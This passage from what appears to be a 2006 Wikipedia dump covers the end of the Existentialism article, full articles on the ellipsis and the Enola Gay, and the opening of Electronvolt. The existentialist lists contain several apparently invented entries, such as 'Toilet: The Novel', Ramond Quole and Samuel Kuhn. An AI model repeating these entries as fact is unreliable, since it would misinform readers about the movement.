#The concept Alltägliche selbstsein (Everyday-ness) which Heidegger explicated in his book ''[[Sein und Zeit]]'' (1927), (English translation [[Being and Time]]).

Since [[1970]], much cultural activity in art, cinema, and literature contains postmodern and existential elements, which, ironically, would support the postmodern thesis of &quot;borderlessness between concepts&quot;.  Books such as ''[[Do Androids Dream of Electric Sheep]]'', by [[Philip K. Dick|Philip K. Dick]], and ''[[Toilet: The Novel]]'', by [[Michael Szymczyk]] all distort the line between reality and appearance while simultaneously espousing strong existential themes.  

In cinema, postmodern editing techniques (showing the displacement, discontinuity, and temporal perspective of postmodernism) can go hand-in-hand with a purely existential story, thus synthesizing technique and function to give meaning. Moreover, this has created the neologism &quot;[[Neo-Existentialism]]&quot;--combining postmodernism's epistemology with the reflective [[ontological]] belief of existentialism.

==Criticisms of existentialism==
[[Herbert Marcuse]] criticized existentialism, especially in Sartre's ''[[Being and Nothingness]]'', for projecting certain features, such as anxiety and meaninglessness, of the modern experience of living in an oppressive society, onto the nature of existence itself:  &quot;In so far as Existentialism is a philosophical doctrine, it remains an idealistic doctrine:  it hypothesizes specific historical conditions of human existence into ontological and metaphysical characteristics.  Existentialism thus becomes part of the very ideology which it attacks, and its radicalism is illusory&quot; (Herbert Marcuse, &quot;Sartre's Existentialism&quot;, p. 161).

[[Theodor Adorno]], in his ''Jargon of Authenticity'', criticized Heidegger's philosophy, with special attention to his use of language, as a mystifying ideology of advanced industrial society and its power structure.

[[Roger Scruton]] claimed, in his book ''From Descartes to Wittgenstein'', that both Heidegger's concept of [[Authenticity %28philosophy%29|inauthenticity]] and Sartre's concept of [[Sartre and bad faith|bad faith]] were incoherent; both deny any universal moral creed, yet speak of these concepts as if everyone were bound to abide them. In chapter 18, he writes,''&quot;In what sense Sartre is able to 'recommend' the authenticity which consists in the purely self-made morality is unclear.  He does recommend it, but, by his own argument, his recommendation can have no objective force.&quot;'' Familiar with this sort of argument, Sartre claimed that bad and good faith do not represent moral ideas, rather, they are ways of being.

Logical positivists, such as [[Carnap]] and [[Ayer]], claim that existentialists frequently become confused over the verb &quot;to be&quot; in their analyses of &quot;being&quot;.  The verb is prefixed to a predicate and to use the word without any predicate is meaningless.  Borrowing from [[Kant]]'s argument against the [[ontological argument]] for the existence of God, they argue that existence is not a property.

==Existentialism in psychotherapy==
With complete freedom to decide and being responsible for the outcome of said decisions comes [[anxiety]]--or angst--about the choices made. Anxiety's importance in existentialism makes it a popular topic in [[psychotherapy]]. Therapists often use existential philosophy to explain the patient's anxiety. Psychotherapists using an existential approach believe that the patient can harness his or her anxiety and use it constructively. Instead of suppressing anxiety, patients are advised to use it as grounds for change. By embracing anxiety as inevitable, a person can use it to achieve his or her full potential in life.

[[Logotherapy]] asserts that all human beings have a will to find meaning, and that serious behavioral problems develop when they cannot find it.  The therapy helps patients handle the responsibility of choices and the pain of unavoidable suffering by helping them decide to give life meaning.

==Major thinkers and authors associated with the movement==
===Film directors===
* [[Ingmar Bergman]]
* [[Michel Gondry]]
* [[Éric Rohmer]]
* [[Alain Robbe-Grillet]]
* [[Richard Linklater]]
* [[Krzysztof Kieślowski]]
* [[David O. Russell]]
* [[Michelangelo Antonioni]]
* [[Jean-Luc Godard]]
* [[François Truffaut]]
* [[Mamoru Oshii]]

===Novelists and playwrights===
Existentialist novelists were generally seen as a mid-1950s phenomenon that continued until the mid- to late 1970s. Most of the major writers were either French or from French African colonies. Small circles of other Europeans were seen as literary existential precursors by the existentialists themselves, however, literary history increasingly has questioned the accuracy of this idealism for earlier models.

There is overlapping between the American [[beat generation]] writers who lived in Paris, and felt it their spiritual home, and writers of [[road novels]]; as well as the delayed action of the French discovery of American [[film noir]], in the 1950s, after a decade of Nazi-Fascist censorship, which, as [[Truffaut]] and others in the ''[[Cahiers du Cinéma]]'' indicated, influenced novels and plays; to some extent, as well, the [[surrealist]] movement of [[Andre Breton]] and others, which questioned the established reality, made possible the isolation of non-academic novels protagonised by amoral anti-heroes.

The ''Belmondo'' school of existentialism, inspired by [[Genet]], the criminal world, and French society's underclasses are seen now as a detective fiction sub-genre.

This is a general list of existentialist writers:

*[[Kobo Abe]]
*[[Edward Albee]]
*[[Paul Auster]]
*[[Georges Bataille]]
*[[Samuel Beckett]]
*[[Simone de Beauvoir]]
*[[Michel Butor]]
*[[Albert Camus]] (Ultimately rejected being labeled an existentialist, but his thoughts and works are characterized as being existential.)
*[[Louis-Ferdinand Celine]]
*[[Noah Cicero]]
*[[Eugene Cullen]]
*[[Philip K. Dick]]
*[[Fyodor Dostoevsky]]
*[[Marguerite Duras]]
*[[Ralph Ellison]]
*[[John Fowles]]
*[[Neil Gaiman]]
*[[Jean Genet]]
*[[Andre Gide]]
*[[Joseph Heller]]
*[[Hermann Hesse]]
*[[Henrik Ibsen]]
*[[Eugène Ionesco]]
*[[Franz Kafka]]
*[[Jack Kerouac]]
*[[Imre Kertész]]
*[[Jerzy Kosinski]]  
*[[Joe McGovern]]
*[[Yukio Mishima]]
*[[Chuck Palahniuk]]
*[[Orhan Pamuk]]
*[[Walker Percy]]
*[[Harold Pinter]]
*[[Rainer Maria Rilke]]
*[[Alain Robbe-Grillet]]
*[[Catherine Robbe-Grillet]]
*[[José Saramango]]
*[[Nathalie Sarraute]]
*[[Claude Simon]]
*[[Jean-Paul Sartre]]  
*[[Marquis de Sade]] (De Sade predated the existentialist movement, but his writings affected it)
*[[Ali Shariati]]
*[[Tom Stoppard]]
*[[Michael Szymczyk]]
*[[Miguel de Unamuno]]
*[[Boris Vian]]
*[[Peter Weiss]]
*[[Richard Wright (author)|Richard Wright]]

===Philosophers===
* [[Simone de Beauvoir]]
* [[Nikolai Berdyaev]]
* [[Henri Bergson]]
* [[E. M. Cioran]]
* [[José Ortega y Gasset]]
* [[Martin Heidegger]] (Like Camus, Heidegger rejected the label 'existentialist'.)
* [[Karl Jaspers]]
* [[Hans Jonas]]
* [[Søren Kierkegaard]] (Kierkegaard died too soon to be a part of the existentialist movement, and it is probable he would have rejected many tenets of Sartre's existentialism. Yet, he was of the first philosophers dealing with the problems of human existence in ways recognizable as forerunners of Sartrean existentialism.)
* [[Walter Kaufmann]]
* [[Ladislav Klíma]]
* [[Emmanuel Levinas]]
* [[Gabriel Marcel]]
* [[Maurice Merleau-Ponty]]
* [[Friedrich Nietzsche]] (Like Kierkegaard, Nietzsche died too soon to be part of the existentialist movement, and, in many ways differs from the existentialism we know. Yet, his work is precursor to many of the developments in later existentialist thought.)
* [[Jean-Paul Sartre]]
* [[Ramond Quole]]
* [[Lev Shestov]]
* [[Max Stirner]]
* [[Miguel de Unamuno]]
* [[Peter Wessel Zapffe]]
* [[Colin Henry Wilson|Colin Wilson]]

===Psychologists===
* [[Ernest Becker]]
* [[Ludwig Binswanger]]
* [[Medard Boss]]
* [[Frantz Fanon]] 
* [[Viktor Frankl]]
* [[R. D. Laing]]
* [[Abraham H. Maslow]]
* [[Rollo May]]
* [[Theodore Shanks]]
* [[Fritz Perls]]
* [[Otto Rank]]
* [[Irvin D. Yalom]]

===Theologians===
*[[Martin Buber]]
*[[Rudolf Bultmann]]
*[[John Macquarrie]]
*[[Gabriel Marcel]]
*[[Paul Tillich]]
*[[David Layton]]
*[[Samuel Kuhn]] (most noted for his phenomenal film work)

==Existentialism in popular culture==
The [[burlesque]] existentialist is a [[stock character]] of the popular imagination, dressed in black and uttering [[gnomic]] assertions about life and the universe.

===Film===
[[Talk:Existentialism#Proposal_to_eliminated_most_films|Existentialist films]] deal with the concepts of existentialism that are familiar to the average person, such as [[free will]], [[personal identity]], individuality, [[responsibility]], mind vs. reality, and what really matters. The Coen Brothers' ''[[The Man Who Wasn't There]]'', ''[[Waking Life]]'' and Bergman's ''[[The Seventh Seal]]'' and ''[[Wild Strawberries]]'' are good examples of existential film.

===Humour===
Existentialism was [[parody|parodied]] in [[Paul Jennings]]'s theory of [[resistentialism]].
It was also themed in the 2005 movie, [[I Heart Huckabees]].

==References==
*Herbert Marcuse, &quot;Sartre's Existentialism&quot;, in ''Studies in Critical Philosophy'', translated by Joris De Bres (London: NLB, 1972)

==External links==
*[http://web.archive.org/web/20040205085207/http://www.columbia.edu/~ta63/exist.htm Essays on Existentialism]
*[http://plato.stanford.edu/entries/existentialism/ Stanford Encyclopedia of Philosophy: Existentialism]
*[http://www.marxists.org/reference/archive/sartre/works/exist/sartre.htm &quot;Existentialism is a Humanism,&quot; a lecture given by Jean-Paul Sartre]
*[http://counsellingresource.com/types/existential/index.html An Introduction to Existential Counselling]
*[http://www.tameri.com/csw/exist/ ''The Existential Primer'']
*[http://www.stirrings-still.org Stirrings Still]: The International Journal of Existential Literature


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    </revision>
  </page>
  <page>
    <title>Ellipsis</title>
    <id>9596</id>
    <revision>
      <id>42090299</id>
      <timestamp>2006-03-03T19:37:47Z</timestamp>
      <contributor>
        <ip>217.70.48.35</ip>
      </contributor>
      <comment>+Polish</comment>
      <text xml:space="preserve">{{Punctuation_marks}}
: ''For the Figure of speech, see [[Ellipsis (figure of speech)]]. For the similarly-named flattened-circle, see [[ellipse]].

'''Ellipsis''' ''&amp;#904;&amp;#955;&amp;#955;&amp;#949;&amp;#953;&amp;#968;&amp;#953;&amp;#962;'' (plural: '''ellipses''' ''&amp;#949;&amp;#955;&amp;#955;&amp;#949;&amp;#943;&amp;#968;&amp;#949;&amp;#953;&amp;#962;'', Greek for ''omission'') in [[linguistics]] refers to any omitted part of speech that is understood; i.e. the omission is intentional. Analogously, in [[printing]] and [[writing]], the term refers to the row of three dots (&amp;hellip;) or asterisks (*&amp;nbsp;*&amp;nbsp;*) indicating such an intentional omission. This punctuation mark is also called a '''suspension point''', '''points of ellipsis''' or colloquially, '''dot-dot-dot'''.

An ellipsis can also be used to indicate a pause in speech or, at the end of a sentence, a trailing off into silence.

==Typographical rules==

There are differences in typographical rules and conventions of using ellipses between languages.

===Ellipsis in English===

''[[The Chicago Manual of Style]]'' suggests the use of an ellipsis (also known as an ellipse) for any omitted word, phrase, line or paragraph from within a quoted passage.  There are two commonly used methods of using ellipses: one uses three dots for any omission, the second makes a distinction between omissions within a sentence (using three dots: &amp;hellip;) and omissions between sentences (using a period and a space followed by three [[Nonbreaking space|nonbreaking-space]]d dots: .&amp;nbsp;.&amp;nbsp;.). The plural for ellipsis is ellipses.

Although some write ellipses without spaces, some institutions, such as the [[Oxford University Press]], place spaces before the ellipsis. Thus: &amp;ldquo;I have seen something&amp;nbsp;&amp;hellip;&amp;rdquo; instead of &amp;ldquo;I have seen something&amp;hellip;&amp;rdquo; The exception here is when a word has been cut off in the middle; that is, when the ellipsis stands for a part of one word: &amp;ldquo;&amp;lsquo;He said he realized he was wro&amp;hellip;&amp;rsquo; I stopped mid-word, awestruck.&amp;rdquo; (In English this is often written as &amp;ldquo;&amp;lsquo;He said he realized he was wro&amp;mdash;&amp;rsquo; I stopped mid-word, awestruck.&amp;rdquo;)

There is no such thing as a &quot;four-dot ellipsis.&quot; A period followed by an ellipsis may look like four dots, but they are two separate entities.

An example is, &amp;ldquo;She went to &amp;hellip; school.&amp;rdquo; In this sentence, &amp;ldquo;&amp;hellip;&amp;rdquo; might represent the word &amp;ldquo;elementary,&amp;rdquo; or the word &amp;ldquo;no.&amp;rdquo;  The use of ellipses can either mislead or clarify, and the reader must rely on the good intentions of the writer who uses it. Omission without indication by an ellipsis is always considered misleading. &lt;!-- should this paragraph (or at least the example) be moved to the English section? --&gt;

At least one style manual&amp;mdash;the ''[[MLA Handbook for Writers of Research Papers]]''&amp;mdash;recommends that the writer enclose an ellipsis in [[bracket]]s ([ ]) when omitting part of an original quotation. The purpose of this is to prevent readers from confusing ellipses indicating omissions with ellipses included in the original text. However, most other style guides, including the ''Chicago Manual of Style,'' recommend the use of bare ellipses to indicate omissions.

===Ellipsis in Polish===

In [[Polish language|Polish]], an ellipsis (called ''wielokropek'', which means ''multidot'') is always composed of three dots without any spaces between.  There is no space between the ellipsis and the preceding word, but there is always a space after the ellipsis, unless the following character is a closing bracket or quote mark, in which case the space is inserted after that character instead.

When the ellipsis is used for omitting a fragment of quotation, it is always surrounded with either square brackets or, more commonly, parentheses, with no space inside:

: &amp;bdquo;S&amp;#322;owem (...) chcemy stworzy&amp;#263; po raz wtóry cz&amp;#322;owieka, na obraz i podobie&amp;#324;stwo manekinu.&amp;rdquo; ([[Bruno Schulz]], ''Traktat o manekinach'')

These rules are standardized by [[PN-83/P-55366]] standard from [[1983]], ''Setting rules from composing of Polish texts'' (''Zasady sk&amp;#322;adania tekstów w j&amp;#281;zyku polskim'').

An ellipsis without parentheses usually means a pause in speech:

: Jest s&amp;#322;o&amp;#324; z tr&amp;#261;bami dwiema
: I tylko... wysp tych nie ma.

: ([[Jan Brzechwa]], ''Na wyspach Bergamutach...'')

It can also mean a word said partially and interrupted and in that case can be directly followed by another punctuation mark without space:

: Szef policji pier&amp;#347; wysadza
: I spod marsa sypi&amp;#261;c skry,
: Pr&amp;#281;&amp;#380;nym krokiem si&amp;#281; przechadza...
: Co za gracja! Co za w&amp;#322;adza!
: Co za pompa! Jezu Chry...!

: ([[Julian Tuwim]], ''Bal w Operze'')

Ellipsis can be used at the end of a sentence, but it is always composed of three dots, never four, and the only difference is the capitalisation of the next word:

: Kto&amp;#347; dzi&amp;#347; mnie opu&amp;#347;ci&amp;#322; w ten chmurny dzie&amp;#324; s&amp;#322;otny...
: Kto? Nie wiem... Kto&amp;#347; odszed&amp;#322; i jestem samotny...
: Kto&amp;#347; umar&amp;#322;... Kto? Pró&amp;#380;no w pami&amp;#281;ci swej grzebi&amp;#281;...
: Kto&amp;#347; drogi... wszak by&amp;#322;em na jakim&amp;#347; pogrzebie...

: ([[Leopold Staff]], ''Deszcz jesienny'')

===Ellipsis in Japanese===

In [[Japanese language|Japanese]] [[manga]], the ellipsis by itself represents speechlessness, usually as an admission of guilt or a response to being dumbfounded as a result of something that another person has just said or done. The dots may be [[vertical]] or [[horizontal]] in stacking, and there may be more than one row/column. The growing popularity of manga worldwide has extended this convention beyond the borders of Japan.

In writing, the ellipsis is six dots (in two groups of three dots). The dots can be either on the baseline or centred within the baseline and the ascender when horizontal; the dots are centred horizontally when vertical.

===Ellipsis in Chinese===
In [[Chinese language|Chinese]], the ellipsis is six dots (in two groups of three dots, occupying two-character width). The dots are always centred within the baseline and the ascender when horizontal, but on the baseline are also accepted today; and centred horizontally when vertical.

==Ellipsis in mathematics==

The centred ellipsis is also often used in [[mathematics]] to mean &amp;ldquo;and so forth,&amp;rdquo; e.g.,

:&lt;math&gt;1+2+3+\cdots+100&lt;/math&gt;

means the sum of all [[natural number]]s from 1 to 100. However, it is not a formally defined [[mathematical symbol]]. These dots should never be used unless the pattern to be followed is clear. Another example is the set of zeroes of the [[cosine]] function.

:&lt;math&gt;\left\{\pm\frac{\pi}{2}, \pm\frac{3\pi}{2}, \pm\frac{5\pi}{2}, \cdots \right\}&lt;/math&gt;

== Ellipsis in programming ==

In some [[programming language]]s ([[Perl]], [[Ada programming language|Ada]] etc), a shortened 2-character ellipsis is used to represent a range of numbers.  For example:

:&lt;code&gt;foreach (1..100)&lt;/code&gt;

The above command in Perl would [[iterate]] through the list of [[integer]] numbers from 1 to 100.

In the [[C programming language]], an ellipsis is used to represent a variable number of parameters to a [[function (programming)|function]]. For example:

:&lt;code&gt;void func(const char* str, ...);&lt;/code&gt;

The above function in C could then be called with different types and numbers of parameters such as:

:&lt;code&gt;func(&quot;input string&quot;, 5, 10, 15);&lt;/code&gt;
and
:&lt;code&gt;func(&quot;input string&quot;, &quot;another string&quot;, 0.5);&lt;/code&gt;

Most programming languages require the ellipsis to be written as a series of periods; a single ellipsis character cannot be used.

==Ellipsis in computing==

In [[computing]], several ellipsis [[character (computing)|character]]s have been codified. In [[Unicode]], there are the following characters:
* For general use:
** Horizontal ellipsis, …, at code point 2026
** [[Lao language|Lao]] ellipsis, ຯ, at code point 0EAF
** [[Mongolian language|Mongolian]] ellipsis, ᠁, at code point 1801
* For use in mathematics:
** Vertical ellipsis, ⋮, at code point 22EE
** Midline horizontal ellipsis, ⋯, at code point 22EF
** Up right diagonal ellipsis, ⋰, at code point 22F0
** Down right diagonal ellipsis, ⋱, at code point 22F1

These code points, given here in [[hexadecimal]], typically manifest in [[character encoding|encoded]] form, either via a [[Unicode Transformation Format]] like [[UTF-8]], or via an older character map (&quot;[[legacy encoding]]&quot;).

The [[Chinese language|Chinese]] and [[Japanese language|Japanese]] ellipsis characters are done by entering two consecutive ''horizontal ellipsis'' (U+2026). In vertical texts, the application should rotate the symbol accordingly.

Unicode recognizes a series of three period characters (period being code point 002E, hexadecimal) as being a valid equivalent to the horizontal ellipsis character.

The horizontal ellipsis character may be represented in [[HTML]] by the entity reference &lt;code&gt;&amp;amp;hellip;&lt;/code&gt;. Alternatively, in HTML, [[XML]], and [[SGML]], a [[numeric character reference]] such as &lt;code&gt;&amp;amp;#x2026;&lt;/code&gt; or &lt;code&gt;&amp;amp;#8230;&lt;/code&gt; can be used.

The horizontal ellipsis character also appears in the following older character maps:
* in IBM/MS-DOS [[Code page 874]], as [[byte]] 85 (hexadecimal)
* in [[Windows-1250]] through [[Windows-1258]], as byte 85 (hexadecimal)
* in [[Mac-Roman encoding|Mac-Roman]] and [[Macintosh Central European encoding|Mac-CentEuro]] as byte C9 (hexadecimal)
* in [[Ventura International encoding]] as byte C1 (hexadecimal)

As with all characters, especially those outside of the [[ASCII]] range, the author, sender and receiver of an encoded ellipsis must be in agreement upon what bytes are being used to represent the character. Naïve text processing software may improperly assume that a particular encoding is being used, resulting in mistranslation.

In a [[user interface]], ... after a command means that the user needs to enter extra information before the command can execute. &lt;!-- example please? --&gt; It is also used to signify that an operation may take some time, as in &quot;Please wait...&quot;.

==Types of ellipsis in typography==

In [[typography]] there are various types of ellipsis, which are displayed below using [[TeX]].
* a lower ellipsis &lt;math&gt;\ldots&lt;/math&gt; \ldots
* a centred ellipsis &lt;math&gt;\cdots&lt;/math&gt; \cdots
* a diagonal ellipsis &lt;math&gt;\ddots&lt;/math&gt; \ddots
* a vertical ellipsis &lt;math&gt;\vdots&lt;/math&gt; \vdots

The diagonal and vertical forms are particularly useful for showing missing terms in [[matrix (mathematics)|matrices]], such as the size ''n'' [[identity matrix]]

&lt;math&gt;
I_n = \begin{bmatrix}
1 &amp; 0 &amp; \cdots &amp; 0 \\
0 &amp; 1 &amp; \cdots &amp; 0 \\
\vdots &amp; \vdots &amp; \ddots &amp; \vdots \\
0 &amp; 0 &amp; \cdots &amp; 1 \end{bmatrix}
&lt;/math&gt;


[[Category:Punctuation]]
[[Category:Mathematical notation]]
[[Category:Typography]]
[[Category:Linguistics]]

[[bg:Многоточие]]
[[da:Udeladelsesprikker]]
[[de:Auslassungspunkte]]
[[es:Puntos suspensivos]]
[[fi:Kolme pistettä]]
[[fr:Points de suspension]]
[[he:שלוש נקודות]]
[[io:Elipso (retoriko)]]
[[nl:Beletselteken]]
[[pl:Wielokropek]]
[[pt:Reticências]]
[[ru:Многоточие]]
[[zh:省略号]]</text>
    </revision>
  </page>
  <page>
    <title>Enola Gay</title>
    <id>9597</id>
    <revision>
      <id>42141214</id>
      <timestamp>2006-03-04T02:20:28Z</timestamp>
      <contributor>
        <username>Lucidish</username>
        <id>75338</id>
      </contributor>
      <comment>Changed intro so that it reads more naturally; included a qualification that the NASM closure had to do with the exhibit's script, not just the bombings themselves</comment>
      <text xml:space="preserve">[[Image:enolagay.jpg|thumbnail|300px|right|Colonel [[Paul Tibbets]] waving from ''Enola Gay'''s cockpit after the bombing of Hiroshima.]]

'''''Enola Gay''''' was a [[B-29 Superfortress]] [[bomber]] of the [[United States Army Air Forces]] (USAAF) that dropped the first [[Nuclear weapon|atomic bomb]] ever used in [[warfare]] (&quot;[[Little Boy]]&quot;) on [[Hiroshima, Hiroshima|Hiroshima]], [[Empire of Japan|Japan]] on [[August 6]], [[1945]], just before the end of [[World War II]]. Because of its role in the [[atomic bombings of Hiroshima and Nagasaki|atomic bombings of Japan]], its name has been synonymous with the controversy over the bombings themselves. The plane gained additional national attention in 1994 after plans to place portions of it in a museum exhibit at the [[National Air and Space Museum]] of the [[Smithsonian Institution]] were scrapped due to a controversy over the exhibit's historical script. In [[2003]], ''Enola Gay'' became again viewable to the public at NASM's new [[Steven F. Udvar-Hazy Center]] annex near [[Washington Dulles International Airport|Dulles International Airport]] in Virginia.

==Bombing of Hiroshima==

''Enola Gay'' was assigned to the USAAF's 509th Composite Group and flew the [[August 6]] mission out of [[Tinian]], a large [[island]] with several USAAF bases in the [[Marianas Islands]] chain. The plane, which bears serial number 44-86292, was one of only 15 B-29s modified to deliver nuclear bombs.  The ''Enola Gay'' was modified at [[Offutt Air Force Base]] to hold the atomic bomb.  Its crew had undergone training at Wendover Army Air Field in [[Wendover, Utah|Wendover]], [[Utah]], as part of [[Project Alberta]] during the [[Manhattan Project]].

[[Image:Enola Gay cockpit.jpg|300px|thumb|left|The cockpit of ''Enola Gay''.]]

Colonel [[Paul Tibbets|Paul W. Tibbets, Jr.]], of Florida, commander of the composite group, elected to fly the atomic mission himself. Thus, he selected a plane from his group and renamed the plane after his mother, Enola Gay Tibbets (1893&amp;ndash;1983, who in turn had been named after the heroine of a novel). According to Gordon Thomas and Max Morgan Witts (''Enola Gay'', Stein &amp; Day Pub, 1977), erstwhile lead pilot Robert Lewis was quite unhappy to be displaced by Tibbets for the important mission, and furious when he arrived at the aircraft on the morning of [[6 August]] to see it festooned with the now-famous nose art. Tibbets himself, interviewed on Tinian later that day by war correspondents, confessed that he was a bit embarrassed at having attached his mother's name to such a fateful mission.

The Hiroshima mission has been described as tactically flawless, and ''Enola Gay'' returned safely to its base on Tinian to a great fanfare on the base. The first atomic bombing was followed only three days later by another B-29 (''[[Bockscar|Bocks Car]]'') (piloted by Major [[Charles W. Sweeney]]) which dropped a second nuclear weapon, &quot;[[Fat Man]]&quot;, on [[Nagasaki, Nagasaki|Nagasaki]]. The Nagasaki mission has been described as one of the most tactically botched missions in the history of aviation, barely meeting its objectives and with barely enough fuel to return to its base. Many later participants in the mission later said that part of the problem was the pressure Sweeney felt to conduct a &quot;perfect&quot; mission, as Tibbets had done earlier. 

The two bombs dropped on Japan have so far been the only nuclear weapons used deliberately against populated targets. All further [[nuclear testing|nuclear detonations]] have been on deserted test sites or underground, with the exception of a very few detonations underwater or in outer space.

==Recent developments==
''Enola Gay'' became the center of a controversy at the [[Smithsonian Institution]] in 1994, when the museum attempted to put its fuselage on display as part of an exhibit commemorating the 50th anniversary of the atomic bombing of Hiroshima. The exhibit, &quot;The Crossroads: The End of World War II, the Atomic Bomb and the Cold War&quot; was drafted by the Smithsonian's [[National Air and Space Museum]] and arranged around a restored version of ''Enola Gay''. Critics, especially the [[American Legion]] and the [[Air Force Association]], charged that the exhibit focused too much on the casualties wrought by the bomb rather than on the motivations for the bombing or discussion of its role in ending the war. The exhibit brought to national attention many long-standing academic and political issues related to retrospective views of the bombings (see ''[[Atomic bombings of Hiroshima and Nagasaki]]''), and in the end, after attempts to revise the exhibit to meet the satisfaction of the many interested groups, it was cancelled on [[January 30]], [[1995]]. 

The entire plane has since been restored for static display and is currently a major permanent exhibit at the National Air and Space Museum's [[Steven F. Udvar-Hazy Center]] near Dulles International Airport outside Washington, D.C. As a result of the earlier controversy, the signage around the plane provides only the same succinct technical data as other aircraft in the museum, without any discussion of controversial issues. The aircraft is shielded by various means to prevent a repetition of vandalism attempted against when it first went on display.

The four lightweight aluminum variable pitch propellers that were used on the bombing mission to save weight ended up at Texas A&amp;M University.  One of them, trimmed to 12.5 feet, provides the thrust for the Oran W. Nicks Low Speed Wind Tunnel.  A 1250 KVA electric motor provides constant revolutions (900 RPM) and the propeller's pitch/yaw is changed to control the windspeed (up to 200 MPH) in the tunnel

[[Image:enola gay 20040710_170220_1.4.jpg|thumb|300px|''Enola Gay'' today at the [[National Air and Space Museum]].]]

==Mission details==

''Enola Gay'''s crew on [[August 6]] [[1945]] consisted of twelve men:
*[[Colonel]] [[Paul Tibbets|Paul W. Tibbets, Jr.]] &amp;ndash; [[Aviator|pilot]]
*[[Captain]] [[Captain Robert Lewis|Robert Lewis]] &amp;ndash; copilot
*[[Major]] [[Thomas Ferebee]] &amp;ndash; [[bombardier (air force)|bombardier]]
*Captain [[Theodore Van Kirk]] &amp;ndash; [[navigator]]
*[[Lieutenant]] [[Jacob Beser]] &amp;ndash; radar countermeasures (also the only man to fly on both nuclear bombing missions)
*U.S. Navy Captain [[William Sterling Parsons|William Sterling &quot;Deak&quot; Parsons]] &amp;ndash; weaponeer
*[[Second Lieutenant]] [[Morris R. Jeppson]] &amp;ndash; assistant weaponeer
*[[Sergeant]] [[Joe Stiborik]] &amp;ndash; [[radar]]
*[[Staff Sergeant]] [[George Caron]] &amp;ndash; tail gunner
*Sergeant [[Robert Shumard]] &amp;ndash; assistant flight engineer
*[[Private First Class]] [[Richard Nelson]] &amp;ndash; [[radio]]
*Technical Sergeant [[Wayne Duzenberry]] &amp;ndash; [[flight engineer]]

==Enola Gay in popular culture==
* &quot;Enola Gay&quot; was the title of a song by [[Orchestral Manoeuvres in the Dark]] from its 1980 album ''Organisation''.
* Enola Gay is also the namesake of a song by American musician [[Utah Phillips]].
* Enola Gay is the name given to Nicola Six's imaginary friend in the [[Martin Amis]] book ''London Fields''.
* On [[The Simpsons]] television program, Krusty's plane is named &quot;The I'm-on-a-Rolla Gay&quot;.

==External links==
{{commonscat|Enola Gay}}
*[http://www.time.com/time/magazine/0,9263,7601050801,00.html Eyewitnesses to Hiroshima] Time magazine, [[August 1]] [[2005]]
*[http://www.warbirdforum.com/hirodead.htm How many died at Hiroshima?], analysis of the conflicting estimates
*[http://www.nasm.si.edu/exhibitions/gal103/gal103_former.html The Smithsonian's site on ''Enola Gay'' includes links to crew lists and other details]
*[http://www.theenolagay.com Paul Tibbets' web site dedicated to the plane]
*[http://www.pcf.city.hiroshima.jp/peacesite/English/Stage1/S1-1E.html The reality of A-bomb Disasters]
*[http://www.lehigh.edu/%7Eineng/enola/ The Enola Gay Smithsonian Controversy]
*{{imdb title|id=0080689|title=Enola Gay: The Men, the Mission, the Atomic Bomb (1980) (TV)}}
*{{imdb title|id=0185048|title=Enola Gay and the Atomic Bombing of Japan (1995)}}
*[http://alsos.wlu.edu/qsearch.aspx?browse=warfare/Enola+Gay Annotated bibliography for the Enola Gay from the Alsos Digital Library]

[[Category:World War II notable aircraft]]
[[Category:Atomic bombings of Hiroshima and Nagasaki]]

[[da:Enola Gay]]
[[de:Enola Gay]]
[[es:Enola Gay]]
[[fr:Enola Gay]]
[[nl:Enola Gay]]
[[ja:エノラ・ゲイ]]
[[it:Enola Gay]]
[[no:Enola Gay]]
[[pl:Enola Gay]]
[[pt:Enola Gay]]
[[sk:Enola Gay]]
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[[zh:艾諾拉·蓋號轟炸機]]</text>
    </revision>
  </page>
  <page>
    <title>Electronvolt</title>
    <id>9598</id>
    <revision>
      <id>40287853</id>
      <timestamp>2006-02-19T15:15:21Z</timestamp>
      <contributor>
        <username>ArnoldReinhold</username>
        <id>84951</id>
      </contributor>
      <comment>/* Electronvolts and temperature */ rm excess precision</comment>
      <text xml:space="preserve">An '''electronvolt''' (symbol: eV) is the amount of [[kinetic energy]] gained by a single unbound [[electron]] when it passes through an [[Electrostatics|electrostatic]] potential difference of one [[volt]], in [[vacuum]]. The one-word spelling is the modern recommendation although the use of the earlier '''electron volt''' still exists.  

One electronvolt is a very small amount of energy:
: 1 eV = [[1 E-19 J|1.602 176 53 (14) &amp;times; 10&lt;sup&gt;&amp;minus;19&lt;/sup&gt;]] [[joule|J]]. (Source: [[CODATA]] 2002 recommended values)

It is a non-[[SI]] unit of energy, accepted for use with SI.

==Using electronvolts to measure mass==
[[Albert Einstein|Einstein]] reasoned that energy is equivalent to (rest) [[mass]], as famously expressed in the formula ''[[E=mc²]]'' (1 kg = 90 petajoules). It is thus common in [[particle physics]], where mass and energy are often interchanged, to use eV/''c''&amp;sup2; or even simply eV as a unit of mass.  (The latter is only strictly valid when working in [[natural units]] where ''[[speed of light|c]]''=1.)  

For example, an electron and a [[positron]], each with a mass of 0.511&amp;nbsp;MeV, can annihilate to yield 1.022&amp;nbsp;MeV of energy. The [[proton]] (which is a member of the [[baryon]] family of particles) has a mass of 0.938 GeV, making GeV a very convenient unit of mass for [[particle physics]].
:1 eV/c&amp;sup2; = 1.783 &amp;times; 10&lt;sup&gt;&amp;minus;36&lt;/sup&gt; kg
:1 keV/c&amp;sup2; = 1.783 &amp;times; 10&lt;sup&gt;&amp;minus;33&lt;/sup&gt; kg
:1 MeV/c&amp;sup2; = 1.783 &amp;times; [[1 E-30 kg|10&lt;sup&gt;&amp;minus;30&lt;/sup&gt; kg]]
:1 GeV/c&amp;sup2; = 1.783 &amp;times; [[1 E-27 kg|10&lt;sup&gt;&amp;minus;27&lt;/sup&gt; kg]]

In some older documents, one sometime encounters the symbol &quot;BeV&quot;, which stands for &quot;billion-electron-volt&quot;; it is equivalent to the GeV (gigaelectronvolt).

==Electronvolts and kinetic energy==
For comparison:

*3.2 &amp;times; 10&lt;sup&gt;&amp;minus;11&lt;/sup&gt; [[joule]] or 200 MeV - total energy released in [[nuclear fission]] of one U-235 atom (on average, it depends on the precise break up)
*3.5 &amp;times; 10&lt;sup&gt;&amp;minus;11&lt;/sup&gt; joule or 210 MeV - total energy released in fission of one Pu-239 atom (on average, it depends on the precise break up)
*Molecular [[bond energy|bond energies]] are on the order of an electronvolt per molecule.
*The typical atmospheric molecule has an energy of about [[1 E-21 J|0.03 eV]]. This corresponds to [[room temperature]].

==Electronvolts and temperature==
In certain fields, such as [[plasma physics]], it is convenient to use the electronvolt as an unit of temperature. The conversion is defined using ''k'', the [[Boltzmann constant]].

